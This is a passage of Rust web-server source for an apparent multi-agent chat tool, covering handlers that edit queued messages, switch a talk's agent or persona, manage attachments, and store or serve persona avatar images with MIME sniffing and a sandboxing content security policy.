9993) {
9994 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9995 let running = if pending {
9996 match crate::chat_worker::spawn_turn(&talks, &id).await {
9997 Ok(_) => true,
9998 Err(error) => {
9999 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10000 false
10001 }
10002 }
10003 } else {
10004 false
10005 };
10006 drop(turn);
10007 if let Some(started) = started {
10008 let _ = started.send(running);
10009 }
10010}
10011
10012#[cfg(test)]
10015async fn drain_loop_started(
10016 mut talk: Talk,
10017 talks: Talks,
10018 cfg: Config,
10019 id: String,
10020 turn: TalkTurnGuard,
10021 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10022) {
10023 let live_set = Arc::clone(&turn.turns);
10024 let mut turn = Some(turn);
10032 loop {
10033 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10034 tracing::warn!("talk {id} lost its turn lease; not draining further");
10037 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10038 if let Some(turn) = turn.take() {
10039 turn.release(&mut live);
10040 }
10041 break;
10042 }
10043 let observed = live_set
10047 .lock()
10048 .unwrap_or_else(PoisonError::into_inner)
10049 .queued
10050 .get(&id)
10051 .copied()
10052 .unwrap_or(0);
10053 let drained = blocking({
10054 let talks = talks.clone();
10055 move || {
10056 let result = talk::drain(&mut talk, &talks);
10057 Ok((talk, result))
10058 }
10059 })
10060 .await;
10061 let (next_talk, result) = match drained {
10062 Ok(drained) => drained,
10063 Err(e) => {
10064 tracing::warn!(
10065 status = %e.status,
10066 message = %e.message,
10067 "talk {id} could not start queued-text drain"
10068 );
10069 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10070 turn.take()
10071 .expect("held for the whole loop until released here")
10072 .release(&mut live);
10073 break;
10074 }
10075 };
10076 talk = next_talk;
10077 let drained = match result {
10078 Ok(Some(drained)) => drained,
10079 Ok(None) => {
10080 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10081 if live.queued.get(&id).copied().unwrap_or(0) != observed {
10082 continue;
10083 }
10084 turn.take()
10085 .expect("held for the whole loop until released here")
10086 .release(&mut live);
10087 break;
10088 }
10089 Err(e) => {
10090 tracing::warn!("talk {id} could not drain queued text: {e:#}");
10091 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10092 turn.take()
10093 .expect("held for the whole loop until released here")
10094 .release(&mut live);
10095 break;
10096 }
10097 };
10098 if let Some(started) = started.take() {
10099 let _ = started.send(true);
10100 }
10101 let responded = match turn.as_ref() {
10102 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10103 None => Err(anyhow::anyhow!("the turn guard was released")),
10104 };
10105 if let Err(e) = responded {
10106 tracing::warn!("talk {id} turn failed: {e:#}");
10107 }
10108 }
10109 drop(turn);
10110 if let Some(started) = started {
10111 let _ = started.send(false);
10112 }
10113}
10114
10115async fn talk_pending_clear(
10117 State(ui): State<Arc<Ui>>,
10118 Path(id): Path<String>,
10119 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10120) -> ApiResult<Json<TalkView>> {
10121 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10122 blocking(move || {
10123 let id = resolve_talk(&ui.talks, &id)?;
10124 let mut talk = ui.talks.get(&id)?;
10125 if !talk.status.open() {
10126 return Err(ApiError::conflict(format!(
10127 "talk {} is {} and takes no more turns",
10128 talk.short(),
10129 talk.status.as_str()
10130 )));
10131 }
10132 if !talk::clear_pending_if_matches(
10133 &mut talk,
10134 &ui.talks,
10135 &body.expected_text,
10136 &body.expected_attachments,
10137 )? {
10138 return Err(ApiError::conflict(
10139 "queued message changed; reload it before clearing",
10140 ));
10141 }
10142 let thinking = ui.is_thinking(&talk.id);
10143 Ok(Json(TalkView::new(talk, thinking, &ui)))
10144 })
10145 .await
10146}
10147
10148async fn talk_pending_edit(
10152 State(ui): State<Arc<Ui>>,
10153 Path(id): Path<String>,
10154 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10155) -> ApiResult<Json<TalkView>> {
10156 let admission = ui.begin_admission()?;
10157 admitted(admission, async move {
10158 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10159 let id = {
10160 let ui = Arc::clone(&ui);
10161 blocking(move || resolve_talk(&ui.talks, &id)).await?
10162 };
10163 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10164 .await
10165 .map_err(ApiError::from)?;
10166 let (view, reclaimed) = blocking({
10167 let ui = Arc::clone(&ui);
10168 move || {
10169 let mut talk = ui.talks.get(&id)?;
10170 if !talk.status.open() {
10171 return Err(ApiError::conflict(format!(
10172 "talk {} is {} and takes no more turns",
10173 talk.short(),
10174 talk.status.as_str()
10175 )));
10176 }
10177 if !talk::edit_pending_message(
10178 &mut talk,
10179 &ui.talks,
10180 &body.text,
10181 &body.expected_text,
10182 &body.expected_attachments,
10183 body.message,
10184 )? {
10185 return Err(ApiError::conflict(
10186 "queued message changed; reload it before editing",
10187 ));
10188 }
10189 let claim = match ui.begin_queued_talk_turn(&id)? {
10190 Some(turn_guard) => {
10191 let (cfg, _) = Config::discover(&talk.repo, None)?;
10192 Some((talk.clone(), cfg, id.clone(), turn_guard))
10193 }
10194 None => None,
10195 };
10196 let thinking = ui.is_thinking(&id);
10197 Ok((TalkView::new(talk, thinking, &ui), claim))
10198 }
10199 })
10200 .await?;
10201 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10202 let talks = ui.talks.clone();
10203 #[cfg(not(test))]
10204 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10205 #[cfg(test)]
10206 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10207 }
10208 Ok(Json(view))
10209 })
10210 .await
10211}
10212
10213fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10215 if talk.status.open() {
10216 return Ok(());
10217 }
10218 Err(ApiError::conflict(format!(
10219 "talk {} is {} and takes no more turns",
10220 talk.short(),
10221 talk.status.as_str()
10222 )))
10223}
10224
10225#[derive(Debug, Deserialize)]
10227struct TalkAgent {
10228 agent: String,
10229}
10230
10231async fn talk_agent(
10236 State(ui): State<Arc<Ui>>,
10237 Path(id): Path<String>,
10238 Json(body): Json<TalkAgent>,
10239) -> ApiResult<Json<TalkView>> {
10240 let admission = ui.begin_admission()?;
10241 admitted(admission, async move {
10242 let id = {
10243 let ui = Arc::clone(&ui);
10244 blocking(move || resolve_talk(&ui.talks, &id)).await?
10245 };
10246 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10247 .await
10248 .map_err(ApiError::from)?;
10249 let repo = {
10250 let ui = Arc::clone(&ui);
10251 let id = id.clone();
10252 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10253 };
10254 let cfg = config_for(&repo).await?;
10255 {
10257 let ui = Arc::clone(&ui);
10258 let id = id.clone();
10259 let cfg = cfg.clone();
10260 let wanted = body.agent.clone();
10261 blocking(move || {
10262 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10263 .map_err(ApiError::bad_request_from)?;
10264 refuse_if_closed(&ui.talks.get(&id)?)
10265 })
10266 .await?;
10267 }
10268 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10269 return Err(ApiError::conflict(
10270 "a talk turn is running; change the agent once it has answered",
10271 ));
10272 };
10273 let switched = {
10274 let ui = Arc::clone(&ui);
10275 let id = id.clone();
10276 let cfg = cfg.clone();
10277 blocking(move || {
10278 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10279 .map_err(ApiError::bad_request_from)?;
10280 let mut talk = ui.talks.get(&id)?;
10281 if !talk.status.open() {
10282 return Err(ApiError::conflict(format!(
10283 "talk {} is {} and takes no more turns",
10284 talk.short(),
10285 talk.status.as_str()
10286 )));
10287 }
10288 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10289 Ok(talk)
10290 })
10291 .await
10292 };
10293 let observed = ui.queued_generation(&id);
10298 let fresh = {
10299 let ui = Arc::clone(&ui);
10300 let id = id.clone();
10301 blocking(move || Ok(ui.talks.get(&id)?)).await
10302 };
10303 let draining = match fresh {
10304 Ok(talk) => {
10305 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10306 }
10307 Err(_) => false,
10308 };
10309 let talk = switched?;
10310 Ok(Json(TalkView::new(talk, draining, &ui)))
10311 })
10312 .await
10313}
10314
10315#[derive(Debug, Deserialize)]
10317struct TalkPersona {
10318 persona: String,
10319}
10320
10321async fn talk_persona(
10325 State(ui): State<Arc<Ui>>,
10326 Path(id): Path<String>,
10327 Json(body): Json<TalkPersona>,
10328) -> ApiResult<Json<TalkView>> {
10329 let admission = ui.begin_admission()?;
10330 admitted(admission, async move {
10331 let id = {
10332 let ui = Arc::clone(&ui);
10333 blocking(move || resolve_talk(&ui.talks, &id)).await?
10334 };
10335 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10336 .await
10337 .map_err(ApiError::from)?;
10338 let repo = {
10339 let ui = Arc::clone(&ui);
10340 let id = id.clone();
10341 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10342 };
10343 let cfg = config_for(&repo).await?;
10344 {
10346 let ui = Arc::clone(&ui);
10347 let id = id.clone();
10348 let cfg = cfg.clone();
10349 let wanted = body.persona.clone();
10350 blocking(move || {
10351 if persona::find(&cfg.talk.personas, &wanted).is_none() {
10352 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10353 }
10354 refuse_if_closed(&ui.talks.get(&id)?)
10355 })
10356 .await?;
10357 }
10358 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10359 return Err(ApiError::conflict(
10360 "a talk turn is running; change the persona once it has answered",
10361 ));
10362 };
10363 let switched = {
10364 let ui = Arc::clone(&ui);
10365 let id = id.clone();
10366 let cfg = cfg.clone();
10367 blocking(move || {
10368 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10369 return Err(ApiError::bad_request(format!(
10370 "unknown persona `{}`",
10371 body.persona
10372 )));
10373 };
10374 let mut talk = ui.talks.get(&id)?;
10375 if !talk.status.open() {
10376 return Err(ApiError::conflict(format!(
10377 "talk {} is {} and takes no more turns",
10378 talk.short(),
10379 talk.status.as_str()
10380 )));
10381 }
10382 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10383 Ok(talk)
10384 })
10385 .await
10386 };
10387 let observed = ui.queued_generation(&id);
10389 let fresh = {
10390 let ui = Arc::clone(&ui);
10391 let id = id.clone();
10392 blocking(move || Ok(ui.talks.get(&id)?)).await
10393 };
10394 let draining = match fresh {
10395 Ok(talk) => {
10396 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10397 }
10398 Err(_) => false,
10399 };
10400 let talk = switched?;
10401 Ok(Json(TalkView::new(talk, draining, &ui)))
10402 })
10403 .await
10404}
10405
10406#[derive(Debug, Deserialize)]
10408struct TalkImplementers {
10409 implementers: u8,
10410}
10411
10412async fn talk_implementers(
10416 State(ui): State<Arc<Ui>>,
10417 Path(id): Path<String>,
10418 Json(body): Json<TalkImplementers>,
10419) -> ApiResult<Json<TalkView>> {
10420 let admission = ui.begin_admission()?;
10421 admitted(admission, async move {
10422 let id = {
10423 let ui = Arc::clone(&ui);
10424 blocking(move || resolve_talk(&ui.talks, &id)).await?
10425 };
10426 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10427 .await
10428 .map_err(ApiError::from)?;
10429 let repo = {
10430 let ui = Arc::clone(&ui);
10431 let id = id.clone();
10432 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10433 };
10434 let cfg = config_for(&repo).await?;
10435 {
10440 let ui = Arc::clone(&ui);
10441 let id = id.clone();
10442 let cfg = cfg.clone();
10443 let wanted = body.implementers;
10444 blocking(move || {
10445 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10446 refuse_if_closed(&ui.talks.get(&id)?)
10447 })
10448 .await?;
10449 }
10450 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10451 return Err(ApiError::conflict(
10452 "a talk turn is running; change the implementers once it has answered",
10453 ));
10454 };
10455 let switched = {
10456 let ui = Arc::clone(&ui);
10457 let id = id.clone();
10458 let cfg = cfg.clone();
10459 blocking(move || {
10460 let chosen = talk::check_implementers(body.implementers, &cfg)
10461 .map_err(ApiError::bad_request)?;
10462 let mut talk = ui.talks.get(&id)?;
10463 if !talk.status.open() {
10464 return Err(ApiError::conflict(format!(
10465 "talk {} is {} and takes no more turns",
10466 talk.short(),
10467 talk.status.as_str()
10468 )));
10469 }
10470 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10471 Ok(talk)
10472 })
10473 .await
10474 };
10475 let observed = ui.queued_generation(&id);
10477 let fresh = {
10478 let ui = Arc::clone(&ui);
10479 let id = id.clone();
10480 blocking(move || Ok(ui.talks.get(&id)?)).await
10481 };
10482 let draining = match fresh {
10483 Ok(talk) => {
10484 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10485 }
10486 Err(_) => false,
10487 };
10488 let talk = switched?;
10489 Ok(Json(TalkView::new(talk, draining, &ui)))
10490 })
10491 .await
10492}
10493
10494async fn talk_close(
10496 State(ui): State<Arc<Ui>>,
10497 Path(id): Path<String>,
10498) -> ApiResult<Json<TalkView>> {
10499 blocking(move || {
10500 let id = resolve_talk(&ui.talks, &id)?;
10501 let mut talk = ui.talks.get(&id)?;
10502 talk::close(&mut talk, &ui.talks).map_err(|error| {
10503 if error.is::<talk::ClosePendingInput>() {
10504 ApiError::conflict(format!("{error:#}"))
10505 } else {
10506 ApiError::from(error)
10507 }
10508 })?;
10509 let thinking = ui.is_thinking(&talk.id);
10510 Ok(Json(TalkView::new(talk, thinking, &ui)))
10511 })
10512 .await
10513}
10514
10515async fn talk_reopen(
10517 State(ui): State<Arc<Ui>>,
10518 Path(id): Path<String>,
10519) -> ApiResult<Json<TalkView>> {
10520 blocking(move || {
10521 let id = resolve_talk(&ui.talks, &id)?;
10522 let mut talk = ui.talks.get(&id)?;
10523 talk::reopen(&mut talk, &ui.talks)?;
10524 let thinking = ui.is_thinking(&talk.id);
10525 Ok(Json(TalkView::new(talk, thinking, &ui)))
10526 })
10527 .await
10528}
10529
10530async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10540 blocking(move || {
10541 let id = resolve_talk(&ui.talks, &id)?;
10542 ui.talks.remove(&id)?;
10543 Ok(StatusCode::NO_CONTENT)
10544 })
10545 .await
10546}
10547
10548fn talk_ids(root: &FsPath) -> Vec<String> {
10549 std::fs::read_dir(root)
10550 .into_iter()
10551 .flatten()
10552 .flatten()
10553 .filter_map(|e| {
10554 let path = e.path();
10555 if path.extension().is_some_and(|ext| ext == "json") {
10556 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10557 } else {
10558 None
10559 }
10560 })
10561 .collect()
10562}
10563
10564fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10566 if plain_record_id(id) && store.path_of(id).is_file() {
10567 return Ok(id.to_owned());
10568 }
10569 pick(talk_ids(store.root()), id, "talk")
10570}
10571
10572async fn talk_attachment_post(
10575 State(ui): State<Arc<Ui>>,
10576 Path(id): Path<String>,
10577 headers: HeaderMap,
10578 body: Bytes,
10579) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10580 let mime = validate_attachment(&headers, &body)?;
10581 let name = filename_header(&headers);
10582 let data = body.to_vec();
10583 blocking(move || {
10584 let id = resolve_talk(&ui.talks, &id)?;
10585 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10586 Ok((StatusCode::CREATED, Json(att)))
10587 })
10588 .await
10589}
10590
10591async fn talk_attachment_get(
10594 State(ui): State<Arc<Ui>>,
10595 Path((id, att)): Path<(String, String)>,
10596) -> ApiResult<Response> {
10597 blocking(move || {
10598 let id = resolve_talk(&ui.talks, &id)?;
10599 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10600 return Err(ApiError::not_found(format!(
10601 "talk {id} has no attachment `{att}`"
10602 )));
10603 };
10604 Ok(attachment_response(&meta.mime, data))
10605 })
10606 .await
10607}
10608
10609fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10612 let id = avatar_encode(&p.id);
10613 format!(
10614 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10615 persona_icon::fingerprint(
10616 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10617 )
10618 )
10619}
10620
10621#[derive(Debug, Default, Deserialize)]
10622struct AvatarQuery {
10623 persona: Option<String>,
10624 builtin: Option<String>,
10626}
10627
10628const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10630
10631fn builtin_avatar(id: &str) -> Response {
10632 svg_avatar(persona_icon::builtin_svg(id))
10633}
10634
10635async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10636 raster_or_builtin(
10637 read_icon_file(&avatar_setting_path(&ui.home, None))
10638 .filter(|_| q.builtin.is_none())
10639 .as_deref(),
10640 persona_icon::operator_svg(),
10641 )
10642}
10643
10644fn svg_avatar(svg: &'static str) -> Response {
10645 (
10646 [
10647 (header::CONTENT_TYPE, "image/svg+xml"),
10648 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10649 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10650 (header::CACHE_CONTROL, "no-cache"),
10651 ],
10652 svg,
10653 )
10654 .into_response()
10655}
10656
10657fn avatar_encode(value: &str) -> String {
10658 value
10659 .bytes()
10660 .map(|b| {
10661 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10662 char::from(b).to_string()
10663 } else {
10664 format!("%{b:02X}")
10665 }
10666 })
10667 .collect()
10668}
10669
10670fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10672 let Some(id) = persona else {
10673 return home.join("avatars/operator.data");
10674 };
10675 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10676 let mut path = home.join("avatars/personas");
10677 for chunk in encoded.as_bytes().chunks(100) {
10678 path.push(std::str::from_utf8(chunk).expect("hex"));
10679 }
10680 path.join("icon.data")
10681}
10682
10683fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10684 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10685 Some(value) if value == "builtin" => Some(String::new()),
10686 Some(value) => Some(value),
10687 None => configured.map(str::to_owned),
10688 }
10689}
10690
10691fn operator_icon_url(home: &FsPath) -> String {
10692 format!(
10693 "/avatars/operator.svg?v={}",
10694 persona_icon::fingerprint(
10695 read_icon_file(&avatar_setting_path(home, None))
10696 .as_deref()
10697 .or(Some(persona_icon::operator_svg()))
10698 )
10699 )
10700}
10701
10702fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10703 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10704 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10705 attachment_response(mime, bytes)
10706 }
10707 _ => svg_avatar(builtin),
10708 };
10709 response
10710 .headers_mut()
10711 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10712 response
10713}
10714
10715#[derive(Default, Deserialize)]
10716struct AvatarSettingsQuery {
10717 repo: Option<PathBuf>,
10718 persona: Option<String>,
10719 builtin: Option<String>,
10720 inherit: Option<String>,
10721}
10722
10723fn avatar_settings_specs(
10724 ui: &Ui,
10725 repo: Option<PathBuf>,
10726) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10727 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10728 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10729 .map(|cfg| cfg.talk.personas)
10730 .unwrap_or_default();
10731 Ok((repo, specs))
10732}
10733
10734fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10735 let Ok(entries) = std::fs::read_dir(path) else {
10736 return;
10737 };
10738 for entry in entries.flatten() {
10739 let name = entry.file_name().to_string_lossy().into_owned();
10740 if name == "icon.data" {
10741 let bytes: Option<Vec<u8>> = prefix
10742 .as_bytes()
10743 .chunks(2)
10744 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10745 .collect();
10746 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10747 out.push(id);
10748 }
10749 } else if name.len() <= 100
10750 && !name.is_empty()
10751 && name.bytes().all(|b| b.is_ascii_hexdigit())
10752 && entry.file_type().is_ok_and(|t| t.is_dir())
10753 {
10754 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10755 }
10756 }
10757}
10758
10759async fn avatar_settings_get(
10760 State(ui): State<Arc<Ui>>,
10761 Query(q): Query<AvatarSettingsQuery>,
10762) -> ApiResult<Json<serde_json::Value>> {
10763 blocking(move || {
10764 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10765 let mut catalog = persona::catalog(&specs);
10766 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10767 let mut saved = Vec::new();
10768 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10769 for id in saved {
10770 if !catalog.iter().any(|p| p.id == id) {
10771 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10772 }
10773 }
10774 let personas: Vec<_> = catalog.iter().map(|p| {
10775 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10776 let override_state = match saved.as_deref() {
10777 Some("builtin") => "builtin",
10778 Some(_) => "custom",
10779 None => "inherit",
10780 };
10781 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10782 serde_json::json!({"id":p.id,"name":p.name,
10783 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10784 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10785 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10786 }).collect();
10787 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10788 }).await
10789}
10790
10791async fn settings_persona_avatar(
10792 State(ui): State<Arc<Ui>>,
10793 Query(q): Query<AvatarSettingsQuery>,
10794) -> ApiResult<Response> {
10795 blocking(move || {
10796 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10797 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10798 let found = persona::find(&specs, id);
10799 let icon =
10800 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10801 Ok(raster_or_builtin(
10802 icon.as_deref().filter(|_| q.builtin.is_none()),
10803 persona_icon::builtin_svg(id),
10804 ))
10805 })
10806 .await
10807}
10808
10809fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10810 if q.persona
10811 .as_ref()
10812 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10813 {
10814 return Err(ApiError::bad_request("invalid persona id"));
10815 }
10816 Ok(())
10817}
10818
10819async fn avatar_settings_put(
10820 State(ui): State<Arc<Ui>>,
10821 Query(q): Query<AvatarSettingsQuery>,
10822 Json(upload): Json<MagiIconUpload>,
10823) -> ApiResult<Json<serde_json::Value>> {
10824 blocking(move || {
10825 validate_avatar_target(&q)?;
10826 save_icon_file(
10827 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10828 &upload.icon,
10829 )
10830 .map_err(ApiError::bad_request_from)?;
10831 Ok(Json(serde_json::json!({"saved":true})))
10832 })
10833 .await
10834}
10835
10836async fn avatar_settings_delete(
10837 State(ui): State<Arc<Ui>>,
10838 Query(q): Query<AvatarSettingsQuery>,
10839) -> ApiResult<Json<serde_json::Value>> {
10840 blocking(move || {
10841 validate_avatar_target(&q)?;
10842 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10843 if q.persona.is_some() && q.inherit.is_none() {
10844 atomic_icon_write(&path, "builtin")?;
10845 } else {
10846 match std::fs::remove_file(path) {
10847 Ok(()) => (),
10848 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10849 Err(e) => return Err(anyhow::Error::from(e).into()),
10850 }
10851 }
10852 Ok(Json(serde_json::json!({"saved":true})))
10853 })
10854 .await
10855}
10856
10857fn magi_icon_path(home: &FsPath) -> PathBuf {
10859 home.join("magi-icon.data")
10860}
10861
10862fn read_magi_icon(home: &FsPath) -> Option<String> {
10863 read_icon_file(&magi_icon_path(home))
10864}
10865
10866fn read_icon_file(path: &FsPath) -> Option<String> {
10867 let metadata = std::fs::metadata(path).ok()?;
10868 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10869 return None;
10870 }
10871 let file = std::fs::File::open(path).ok()?;
10872 use std::io::Read;
10873 let mut text = String::new();
10874 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10875 .read_to_string(&mut text)
10876 .ok()?;
10877 if text.len() > persona_icon::ICON_MAX_BYTES {
10878 return None;
10879 }
10880 if text == "builtin" {
10881 return Some(text);
10882 }
10883 validate_uploaded_icon(&text).ok()?;
10884 Some(text)
10885}
10886
10887fn magi_icon_url(home: &FsPath) -> String {
10888 format!(
10889 "/avatars/magi?v={}",
10890 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10891 )
10892}
10893
10894async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10895 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10896}
10897
10898#[derive(Deserialize)]
10899struct MagiIconUpload {
10900 icon: String,
10901}
10902
10903fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10904 save_icon_file(&magi_icon_path(home), icon)
10905}
10906
10907fn validate_uploaded_icon(icon: &str) -> Result<()> {
10908 if !icon.starts_with("data:") {
10909 anyhow::bail!("upload a raster image");
10910 }
10911 let (mime, bytes) = persona_icon::load(icon)?;
10912 if sniffed_mime(&bytes) != Some(mime) {
10913 anyhow::bail!("image content does not match its type");
10914 }
10915 Ok(())
10916}
10917
10918fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10919 validate_uploaded_icon(icon)?;
10920 atomic_icon_write(path, icon)
10921}
10922
10923fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10924 let home = path.parent().expect("icon parent");
10925 std::fs::create_dir_all(home)?;
10926 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10927 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10928 let result = (|| -> Result<()> {
10929 use std::io::Write;
10930 let mut file = std::fs::OpenOptions::new()
10931 .write(true)
10932 .create_new(true)
10933 .open(&temp)?;
10934 file.write_all(icon.as_bytes())?;
10935 file.sync_all()?;
10936 std::fs::rename(&temp, path)?;
10937 Ok(())
10938 })();
10939 let _ = std::fs::remove_file(temp);
10940 result?;
10941 Ok(())
10942}
10943
10944async fn magi_icon_put(
10945 State(ui): State<Arc<Ui>>,
10946 Json(upload): Json<MagiIconUpload>,
10947) -> ApiResult<Json<serde_json::Value>> {
10948 blocking(move || {
10949 if !upload.icon.starts_with("data:") {
10950 return Err(ApiError::bad_request("upload a raster image"));
10951 }
10952 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10953 if sniffed_mime(&bytes) != Some(mime) {
10954 return Err(ApiError::bad_request(
10955 "image content does not match its type",
10956 ));
10957 }
10958 save_magi_icon(&ui.home, &upload.icon)?;
10959 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10960 })
10961 .await
10962}
10963
10964async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10965 blocking(move || {
10966 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10967 Ok(()) => (),
10968 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10969 Err(e) => return Err(anyhow::Error::from(e).into()),
10970 }
10971 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10972 })
10973 .await
10974}
10975
10976async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10977 let icon = (q.builtin.is_none())
10978 .then(|| read_magi_icon(&ui.home))
10979 .flatten();
10980 let mut response = match icon
10981 .as_deref()
10982 .and_then(|icon| persona_icon::load(icon).ok())
10983 {
10984 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10985 attachment_response(mime, bytes)
10986 }
10987 _ => svg_avatar(persona_icon::magi_svg()),
10988 };
10989 response
10990 .headers_mut()
10991 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10992 response
10993}
10994
10995async fn talk_avatar(
11000 State(ui): State<Arc<Ui>>,
11001 Path(id): Path<String>,
11002 Query(q): Query<AvatarQuery>,
11003) -> ApiResult<Response> {
11004 blocking(move || {
11005 let id = resolve_talk(&ui.talks, &id)?;
11006 let talk = ui.talks.get(&id)?;
11007 let wanted = q
11008 .persona
11009 .as_deref()
11010 .map(str::trim)
11011 .filter(|p| !p.is_empty())
11012 .unwrap_or(&talk.persona)
11013 .to_owned();
11014 let specs = match Config::discover(&talk.repo, None) {
11015 Ok((cfg, _)) => cfg.talk.personas,
11016 Err(e) => {
11017 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11018 Vec::new()
11019 }
11020 };
11021 let found = persona::find(&specs, &wanted);
11022 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11024 let icon = effective_persona_icon(
11025 &ui.home,
11026 &wanted,
11027 found.as_ref().and_then(|p| p.icon.as_deref()),
11028 );
11029 if found.is_none() && icon.is_none() {
